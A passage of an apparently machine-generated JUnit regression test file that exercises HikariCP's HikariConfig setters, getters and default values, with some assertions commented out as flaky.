org.junit.Assert.assertTrue("'" + boolean14 + "' != '" + true + "'", boolean14 == true);
org.junit.Assert.assertNotNull(properties15);
org.junit.Assert.assertNull(str16);
org.junit.Assert.assertTrue("'" + boolean17 + "' != '" + false + "'", boolean17 == false);
}
@Test
public void test19265() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19265");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isInitializationFailFast = true;
int int7 = hikariConfig1.acquireRetries;
hikariConfig1.setMaxLifetime((long) (-1));
int int10 = hikariConfig1.getTransactionIsolation();
java.util.Properties properties11 = null;
com.zaxxer.hikari.HikariConfig hikariConfig12 = new com.zaxxer.hikari.HikariConfig(properties11);
int int13 = hikariConfig12.getTransactionIsolation();
hikariConfig12.setRegisterMbeans(false);
java.lang.String str16 = hikariConfig12.transactionIsolationName;
int int17 = hikariConfig12.getMaximumPoolSize();
int int18 = hikariConfig12.transactionIsolation;
java.util.Properties properties19 = hikariConfig12.dataSourceProperties;
hikariConfig1.setDataSourceProperties(properties19);
int int21 = hikariConfig1.getTransactionIsolation();
java.util.Properties properties22 = null;
com.zaxxer.hikari.HikariConfig hikariConfig23 = new com.zaxxer.hikari.HikariConfig(properties22);
int int24 = hikariConfig23.getTransactionIsolation();
hikariConfig23.setRegisterMbeans(false);
java.lang.String str27 = hikariConfig23.transactionIsolationName;
int int28 = hikariConfig23.getTransactionIsolation();
hikariConfig23.isRegisterMbeans = false;
boolean boolean31 = hikariConfig23.isRegisterMbeans();
java.lang.String str32 = hikariConfig23.getCatalog();
hikariConfig23.transactionIsolation = 100;
java.util.Properties properties35 = hikariConfig23.dataSourceProperties;
hikariConfig1.setDataSourceProperties(properties35);
hikariConfig1.isRegisterMbeans = false;
hikariConfig1.connectionCustomizerClassName = "HikariPool-221";
long long41 = hikariConfig1.getMaxLifetime();
hikariConfig1.setCatalog("HikariPool-24355");
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + int7 + "' != '" + 3 + "'", int7 == 3);
org.junit.Assert.assertTrue("'" + int10 + "' != '" + (-1) + "'", int10 == (-1));
org.junit.Assert.assertTrue("'" + int13 + "' != '" + (-1) + "'", int13 == (-1));
org.junit.Assert.assertNull(str16);
org.junit.Assert.assertTrue("'" + int17 + "' != '" + 60 + "'", int17 == 60);
org.junit.Assert.assertTrue("'" + int18 + "' != '" + (-1) + "'", int18 == (-1));
org.junit.Assert.assertNotNull(properties19);
org.junit.Assert.assertTrue("'" + int21 + "' != '" + (-1) + "'", int21 == (-1));
org.junit.Assert.assertTrue("'" + int24 + "' != '" + (-1) + "'", int24 == (-1));
org.junit.Assert.assertNull(str27);
org.junit.Assert.assertTrue("'" + int28 + "' != '" + (-1) + "'", int28 == (-1));
org.junit.Assert.assertTrue("'" + boolean31 + "' != '" + false + "'", boolean31 == false);
org.junit.Assert.assertNull(str32);
org.junit.Assert.assertNotNull(properties35);
org.junit.Assert.assertTrue("'" + long41 + "' != '" + (-1L) + "'", long41 == (-1L));
}
@Test
public void test19266() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19266");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
hikariConfig1.setMinimumPoolSize(1);
javax.sql.DataSource dataSource7 = null;
hikariConfig1.dataSource = dataSource7;
int int9 = hikariConfig1.minPoolSize;
int int10 = hikariConfig1.minPoolSize;
java.lang.String str11 = hikariConfig1.dataSourceClassName;
java.util.Properties properties12 = hikariConfig1.getDataSourceProperties();
long long13 = hikariConfig1.getConnectionTimeout();
hikariConfig1.setCatalog("HikariPool-770");
int int16 = hikariConfig1.minPoolSize;
java.lang.String str17 = hikariConfig1.getConnectionCustomizerClassName();
hikariConfig1.setMaxLifetime(3L);
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 1 + "'", int9 == 1);
org.junit.Assert.assertTrue("'" + int10 + "' != '" + 1 + "'", int10 == 1);
org.junit.Assert.assertNull(str11);
org.junit.Assert.assertNotNull(properties12);
// flaky: org.junit.Assert.assertTrue("'" + long13 + "' != '" + 10L + "'", long13 == 10L);
org.junit.Assert.assertTrue("'" + int16 + "' != '" + 1 + "'", int16 == 1);
org.junit.Assert.assertNull(str17);
}
@Test
public void test19267() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19267");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.dataSourceClassName = "";
hikariConfig1.setIdleTimeout((long) (short) 100);
boolean boolean9 = hikariConfig1.isAutoCommit;
javax.sql.DataSource dataSource10 = null;
hikariConfig1.dataSource = dataSource10;
hikariConfig1.setTransactionIsolation("");
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + true + "'", boolean9 == true);
}
@Test
public void test19268() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19268");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.setTransactionIsolation("hi!");
int int6 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.isInitializationFailFast = true;
hikariConfig1.setIdleTimeout((long) (short) 10);
int int11 = hikariConfig1.minPoolSize;
boolean boolean12 = hikariConfig1.isJdbc4ConnectionTest();
hikariConfig1.idleTimeout = 32;
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + int11 + "' != '" + 10 + "'", int11 == 10);
org.junit.Assert.assertTrue("'" + boolean12 + "' != '" + true + "'", boolean12 == true);
}
@Test
public void test19269() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19269");
com.zaxxer.hikari.HikariConfig hikariConfig0 = new com.zaxxer.hikari.HikariConfig();
java.lang.String str1 = hikariConfig0.catalog;
int int2 = hikariConfig0.getMinimumPoolSize();
hikariConfig0.connectionCustomizerClassName = "hi!";
hikariConfig0.setUseInstrumentation(false);
hikariConfig0.isJdbc4connectionTest = true;
hikariConfig0.setMaximumPoolSize((int) '4');
org.junit.Assert.assertNull(str1);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + 10 + "'", int2 == 10);
}
@Test
public void test19270() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19270");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
int int8 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.setJdbc4ConnectionTest(false);
java.util.Properties properties12 = null;
com.zaxxer.hikari.HikariConfig hikariConfig13 = new com.zaxxer.hikari.HikariConfig(properties12);
int int14 = hikariConfig13.getTransactionIsolation();
hikariConfig13.setRegisterMbeans(false);
java.lang.String str17 = hikariConfig13.transactionIsolationName;
long long18 = hikariConfig13.getIdleTimeout();
java.lang.String str19 = hikariConfig13.getCatalog();
java.util.Properties properties20 = hikariConfig13.getDataSourceProperties();
hikariConfig13.setUseInstrumentation(false);
hikariConfig1.addDataSourceProperty("HikariPool-222", (java.lang.Object) hikariConfig13);
hikariConfig1.poolName = "HikariPool-104";
java.util.Properties properties26 = null;
com.zaxxer.hikari.HikariConfig hikariConfig27 = new com.zaxxer.hikari.HikariConfig(properties26);
hikariConfig27.leakDetectionThreshold = 100;
boolean boolean30 = hikariConfig27.isJdbc4ConnectionTest();
java.util.Properties properties31 = null;
com.zaxxer.hikari.HikariConfig hikariConfig32 = new com.zaxxer.hikari.HikariConfig(properties31);
int int33 = hikariConfig32.getTransactionIsolation();
hikariConfig32.setRegisterMbeans(false);
java.lang.String str36 = hikariConfig32.transactionIsolationName;
long long37 = hikariConfig32.getIdleTimeout();
java.lang.String str38 = hikariConfig32.getCatalog();
java.lang.String str39 = hikariConfig32.getConnectionTestQuery();
java.util.Properties properties40 = null;
com.zaxxer.hikari.HikariConfig hikariConfig41 = new com.zaxxer.hikari.HikariConfig(properties40);
hikariConfig41.dataSourceClassName = "";
java.util.Properties properties44 = hikariConfig41.dataSourceProperties;
hikariConfig32.setDataSourceProperties(properties44);
hikariConfig27.dataSourceProperties = properties44;
java.util.Properties properties47 = hikariConfig27.dataSourceProperties;
hikariConfig1.dataSourceProperties = properties47;
java.lang.String str49 = hikariConfig1.getConnectionCustomizerClassName();
boolean boolean50 = hikariConfig1.isInitializationFailFast();
hikariConfig1.setCatalog("HikariPool-756");
java.util.Properties properties53 = hikariConfig1.getDataSourceProperties();
int int54 = hikariConfig1.maxPoolSize;
hikariConfig1.isAutoCommit = false;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertTrue("'" + int8 + "' != '" + 60 + "'", int8 == 60);
org.junit.Assert.assertTrue("'" + int14 + "' != '" + (-1) + "'", int14 == (-1));
org.junit.Assert.assertNull(str17);
// flaky: org.junit.Assert.assertTrue("'" + long18 + "' != '" + 60L + "'", long18 == 60L);
org.junit.Assert.assertNull(str19);
org.junit.Assert.assertNotNull(properties20);
org.junit.Assert.assertTrue("'" + boolean30 + "' != '" + true + "'", boolean30 == true);
org.junit.Assert.assertTrue("'" + int33 + "' != '" + (-1) + "'", int33 == (-1));
org.junit.Assert.assertNull(str36);
// flaky: org.junit.Assert.assertTrue("'" + long37 + "' != '" + 60L + "'", long37 == 60L);
org.junit.Assert.assertNull(str38);
org.junit.Assert.assertNull(str39);
org.junit.Assert.assertNotNull(properties44);
org.junit.Assert.assertNotNull(properties47);
org.junit.Assert.assertNull(str49);
org.junit.Assert.assertTrue("'" + boolean50 + "' != '" + false + "'", boolean50 == false);
org.junit.Assert.assertNotNull(properties53);
org.junit.Assert.assertTrue("'" + int54 + "' != '" + 60 + "'", int54 == 60);
}
@Test
public void test19271() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19271");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer9 = hikariConfig1.connectionCustomizer;
hikariConfig1.setInitializationFailFast(true);
int int12 = hikariConfig1.transactionIsolation;
java.util.Properties properties13 = null;
com.zaxxer.hikari.HikariConfig hikariConfig14 = new com.zaxxer.hikari.HikariConfig(properties13);
hikariConfig14.dataSourceClassName = "";
java.util.Properties properties17 = hikariConfig14.dataSourceProperties;
hikariConfig1.setDataSourceProperties(properties17);
hikariConfig1.isAutoCommit = false;
hikariConfig1.poolName = "HikariPool-521";
int int23 = hikariConfig1.maxPoolSize;
java.util.Properties properties24 = null;
com.zaxxer.hikari.HikariConfig hikariConfig25 = new com.zaxxer.hikari.HikariConfig(properties24);
int int26 = hikariConfig25.getTransactionIsolation();
hikariConfig25.setRegisterMbeans(false);
java.lang.String str29 = hikariConfig25.transactionIsolationName;
java.lang.String str30 = hikariConfig25.connectionCustomizerClassName;
hikariConfig25.setConnectionTestQuery("hi!");
java.lang.String str33 = hikariConfig25.getCatalog();
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer34 = hikariConfig25.connectionCustomizer;
java.util.Properties properties35 = null;
com.zaxxer.hikari.HikariConfig hikariConfig36 = new com.zaxxer.hikari.HikariConfig(properties35);
hikariConfig36.setConnectionInitSql("hi!");
java.util.Properties properties39 = null;
com.zaxxer.hikari.HikariConfig hikariConfig40 = new com.zaxxer.hikari.HikariConfig(properties39);
int int41 = hikariConfig40.getTransactionIsolation();
hikariConfig40.setRegisterMbeans(false);
hikariConfig40.dataSourceClassName = "";
hikariConfig40.setTransactionIsolation("");
java.util.Properties properties48 = null;
com.zaxxer.hikari.HikariConfig hikariConfig49 = new com.zaxxer.hikari.HikariConfig(properties48);
int int50 = hikariConfig49.getTransactionIsolation();
hikariConfig49.setRegisterMbeans(false);
hikariConfig49.isInitializationFailFast = true;
int int55 = hikariConfig49.acquireRetries;
hikariConfig49.setMaxLifetime((long) (-1));
int int58 = hikariConfig49.getTransactionIsolation();
java.util.Properties properties59 = null;
com.zaxxer.hikari.HikariConfig hikariConfig60 = new com.zaxxer.hikari.HikariConfig(properties59);
int int61 = hikariConfig60.getTransactionIsolation();
hikariConfig60.setRegisterMbeans(false);
java.lang.String str64 = hikariConfig60.transactionIsolationName;
int int65 = hikariConfig60.getMaximumPoolSize();
int int66 = hikariConfig60.transactionIsolation;
java.util.Properties properties67 = hikariConfig60.dataSourceProperties;
hikariConfig49.setDataSourceProperties(properties67);
hikariConfig40.dataSourceProperties = properties67;
hikariConfig36.dataSourceProperties = properties67;
hikariConfig25.setDataSourceProperties(properties67);
java.util.Properties properties72 = hikariConfig25.dataSourceProperties;
hikariConfig1.dataSourceProperties = properties72;
com.zaxxer.hikari.HikariConfig hikariConfig74 = new com.zaxxer.hikari.HikariConfig(properties72);
long long75 = hikariConfig74.connectionTimeout;
hikariConfig74.setInitializationFailFast(true);
hikariConfig74.setMinimumPoolSize(60);
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertNull(iConnectionCustomizer9);
org.junit.Assert.assertTrue("'" + int12 + "' != '" + (-1) + "'", int12 == (-1));
org.junit.Assert.assertNotNull(properties17);
org.junit.Assert.assertTrue("'" + int23 + "' != '" + 60 + "'", int23 == 60);
org.junit.Assert.assertTrue("'" + int26 + "' != '" + (-1) + "'", int26 == (-1));
org.junit.Assert.assertNull(str29);
org.junit.Assert.assertNull(str30);
org.junit.Assert.assertNull(str33);
org.junit.Assert.assertNull(iConnectionCustomizer34);
org.junit.Assert.assertTrue("'" + int41 + "' != '" + (-1) + "'", int41 == (-1));
org.junit.Assert.assertTrue("'" + int50 + "' != '" + (-1) + "'", int50 == (-1));
org.junit.Assert.assertTrue("'" + int55 + "' != '" + 3 + "'", int55 == 3);
org.junit.Assert.assertTrue("'" + int58 + "' != '" + (-1) + "'", int58 == (-1));
org.junit.Assert.assertTrue("'" + int61 + "' != '" + (-1) + "'", int61 == (-1));
org.junit.Assert.assertNull(str64);
org.junit.Assert.assertTrue("'" + int65 + "' != '" + 60 + "'", int65 == 60);
org.junit.Assert.assertTrue("'" + int66 + "' != '" + (-1) + "'", int66 == (-1));
org.junit.Assert.assertNotNull(properties67);
org.junit.Assert.assertNotNull(properties72);
// flaky: org.junit.Assert.assertTrue("'" + long75 + "' != '" + 10L + "'", long75 == 10L);
}
@Test
public void test19272() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19272");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
int int8 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.setJdbc4ConnectionTest(false);
hikariConfig1.connectionTestQuery = "HikariPool-173";
hikariConfig1.setMaximumPoolSize(0);
hikariConfig1.isInitializationFailFast = false;
hikariConfig1.setIdleTimeout((long) (short) 10);
java.lang.String str19 = hikariConfig1.connectionTestQuery;
hikariConfig1.connectionCustomizerClassName = "HikariPool-334";
java.lang.String str22 = hikariConfig1.getConnectionTestQuery();
java.lang.String str23 = hikariConfig1.getPoolName();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertTrue("'" + int8 + "' != '" + 60 + "'", int8 == 60);
org.junit.Assert.assertEquals("'" + str19 + "' != '" + "HikariPool-173" + "'", str19, "HikariPool-173");
org.junit.Assert.assertEquals("'" + str22 + "' != '" + "HikariPool-173" + "'", str22, "HikariPool-173");
// flaky: org.junit.Assert.assertEquals("'" + str23 + "' != '" + "HikariPool-51023" + "'", str23, "HikariPool-51023");
}
@Test
public void test19273() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19273");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
long long6 = hikariConfig1.getIdleTimeout();
java.lang.String str7 = hikariConfig1.getCatalog();
java.util.Properties properties8 = hikariConfig1.getDataSourceProperties();
boolean boolean9 = hikariConfig1.isJdbc4connectionTest;
long long10 = hikariConfig1.maxLifetime;
javax.sql.DataSource dataSource11 = null;
hikariConfig1.dataSource = dataSource11;
int int13 = hikariConfig1.getAcquireRetries();
java.lang.String str14 = hikariConfig1.getConnectionCustomizerClassName();
hikariConfig1.maxPoolSize = 87;
hikariConfig1.setCatalog("HikariPool-18481");
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
// flaky: org.junit.Assert.assertTrue("'" + long6 + "' != '" + 60L + "'", long6 == 60L);
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + true + "'", boolean9 == true);
// flaky: org.junit.Assert.assertTrue("'" + long10 + "' != '" + 35L + "'", long10 == 35L);
org.junit.Assert.assertTrue("'" + int13 + "' != '" + 3 + "'", int13 == 3);
org.junit.Assert.assertNull(str14);
}
@Test
public void test19274() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19274");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
int int7 = hikariConfig1.transactionIsolation;
java.util.Properties properties8 = hikariConfig1.dataSourceProperties;
boolean boolean9 = hikariConfig1.isRegisterMbeans;
boolean boolean10 = hikariConfig1.isInitializationFailFast;
hikariConfig1.isRegisterMbeans = false;
hikariConfig1.setIdleTimeout(1L);
hikariConfig1.setPoolName("HikariPool-87");
java.lang.String str17 = hikariConfig1.catalog;
hikariConfig1.leakDetectionThreshold = 1800000L;
int int20 = hikariConfig1.getTransactionIsolation();
// The following exception was thrown during execution in test generation
try {
hikariConfig1.setConnectionTimeout((long) ' ');
org.junit.Assert.fail("Expected exception of type java.lang.IllegalArgumentException; message: connectionTimeout cannot be less than 100ms");
} catch (java.lang.IllegalArgumentException e) {
// Expected exception.
}
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
org.junit.Assert.assertTrue("'" + boolean10 + "' != '" + false + "'", boolean10 == false);
org.junit.Assert.assertNull(str17);
org.junit.Assert.assertTrue("'" + int20 + "' != '" + (-1) + "'", int20 == (-1));
}
@Test
public void test19275() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19275");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer9 = hikariConfig1.connectionCustomizer;
hikariConfig1.setMaxLifetime((long) (short) 0);
java.util.Properties properties12 = null;
com.zaxxer.hikari.HikariConfig hikariConfig13 = new com.zaxxer.hikari.HikariConfig(properties12);
int int14 = hikariConfig13.getTransactionIsolation();
hikariConfig13.setRegisterMbeans(false);
hikariConfig13.dataSourceClassName = "";
hikariConfig13.setIdleTimeout((long) (short) 100);
java.util.Properties properties21 = hikariConfig13.getDataSourceProperties();
hikariConfig1.setDataSourceProperties(properties21);
boolean boolean23 = hikariConfig1.isAutoCommit;
hikariConfig1.setInitializationFailFast(true);
hikariConfig1.isJdbc4connectionTest = true;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertNull(iConnectionCustomizer9);
org.junit.Assert.assertTrue("'" + int14 + "' != '" + (-1) + "'", int14 == (-1));
org.junit.Assert.assertNotNull(properties21);
org.junit.Assert.assertTrue("'" + boolean23 + "' != '" + true + "'", boolean23 == true);
}
@Test
public void test19276() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19276");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getTransactionIsolation();
hikariConfig1.isRegisterMbeans = false;
boolean boolean9 = hikariConfig1.isRegisterMbeans();
java.lang.String str10 = hikariConfig1.getCatalog();
int int11 = hikariConfig1.transactionIsolation;
hikariConfig1.connectionCustomizerClassName = "HikariPool-574";
hikariConfig1.addDataSourceProperty("HikariPool-8718", (java.lang.Object) "HikariPool-2129");
boolean boolean17 = hikariConfig1.isRegisterMbeans();
long long18 = hikariConfig1.connectionTimeout;
hikariConfig1.idleTimeout = (byte) 0;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
org.junit.Assert.assertNull(str10);
org.junit.Assert.assertTrue("'" + int11 + "' != '" + (-1) + "'", int11 == (-1));
org.junit.Assert.assertTrue("'" + boolean17 + "' != '" + false + "'", boolean17 == false);
// flaky: org.junit.Assert.assertTrue("'" + long18 + "' != '" + 10L + "'", long18 == 10L);
}
@Test
public void test19277() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19277");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
boolean boolean3 = hikariConfig1.isJdbc4ConnectionTest();
int int4 = hikariConfig1.acquireRetries;
long long5 = hikariConfig1.getConnectionTimeout();
boolean boolean6 = hikariConfig1.isAutoCommit();
javax.sql.DataSource dataSource7 = null;
hikariConfig1.dataSource = dataSource7;
hikariConfig1.setConnectionCustomizerClassName("HikariPool-28259");
hikariConfig1.connectionTimeout = 35;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertTrue("'" + boolean3 + "' != '" + true + "'", boolean3 == true);
org.junit.Assert.assertTrue("'" + int4 + "' != '" + 3 + "'", int4 == 3);
// flaky: org.junit.Assert.assertTrue("'" + long5 + "' != '" + 10L + "'", long5 == 10L);
org.junit.Assert.assertTrue("'" + boolean6 + "' != '" + true + "'", boolean6 == true);
}
@Test
public void test19278() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19278");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
hikariConfig1.setTransactionIsolation("hi!");
long long7 = hikariConfig1.connectionTimeout;
java.lang.String str8 = hikariConfig1.getPoolName();
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer9 = null;
hikariConfig1.connectionCustomizer = iConnectionCustomizer9;
hikariConfig1.setConnectionTimeout(5000L);
boolean boolean13 = hikariConfig1.isInitializationFailFast();
hikariConfig1.setJdbc4ConnectionTest(false);
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
// flaky: org.junit.Assert.assertTrue("'" + long7 + "' != '" + 10L + "'", long7 == 10L);
org.junit.Assert.assertEquals("'" + str8 + "' != '" + "hi!" + "'", str8, "hi!");
org.junit.Assert.assertTrue("'" + boolean13 + "' != '" + false + "'", boolean13 == false);
}
@Test
public void test19279() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19279");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
java.lang.String str9 = hikariConfig1.transactionIsolationName;
hikariConfig1.setMaximumPoolSize((int) (short) 0);
hikariConfig1.dataSourceClassName = "HikariPool-204";
javax.sql.DataSource dataSource14 = hikariConfig1.getDataSource();
hikariConfig1.setAcquireRetries(10);
hikariConfig1.setAcquireRetries(10);
hikariConfig1.transactionIsolationName = "HikariPool-410";
long long21 = hikariConfig1.getLeakDetectionThreshold();
java.lang.String str22 = hikariConfig1.poolName;
javax.sql.DataSource dataSource23 = hikariConfig1.getDataSource();
boolean boolean24 = hikariConfig1.isInitializationFailFast;
java.lang.String str25 = hikariConfig1.getPoolName();
hikariConfig1.setMaxLifetime((long) 3);
java.lang.String str28 = hikariConfig1.connectionCustomizerClassName;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertNull(str9);
org.junit.Assert.assertNull(dataSource14);
org.junit.Assert.assertTrue("'" + long21 + "' != '" + 0L + "'", long21 == 0L);
org.junit.Assert.assertEquals("'" + str22 + "' != '" + "hi!" + "'", str22, "hi!");
org.junit.Assert.assertNull(dataSource23);
org.junit.Assert.assertTrue("'" + boolean24 + "' != '" + false + "'", boolean24 == false);
org.junit.Assert.assertEquals("'" + str25 + "' != '" + "hi!" + "'", str25, "hi!");
org.junit.Assert.assertNull(str28);
}
@Test
public void test19280() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19280");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
int int7 = hikariConfig1.transactionIsolation;
java.util.Properties properties8 = hikariConfig1.dataSourceProperties;
boolean boolean9 = hikariConfig1.isRegisterMbeans;
boolean boolean10 = hikariConfig1.isInitializationFailFast;
hikariConfig1.minPoolSize = 100;
hikariConfig1.setConnectionCustomizerClassName("HikariPool-752");
java.lang.String str15 = hikariConfig1.connectionCustomizerClassName;
java.lang.String str16 = hikariConfig1.getConnectionCustomizerClassName();
hikariConfig1.setMaxLifetime(0L);
long long19 = hikariConfig1.getAcquireRetryDelay();
hikariConfig1.maxPoolSize = (short) -1;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
org.junit.Assert.assertTrue("'" + boolean10 + "' != '" + false + "'", boolean10 == false);
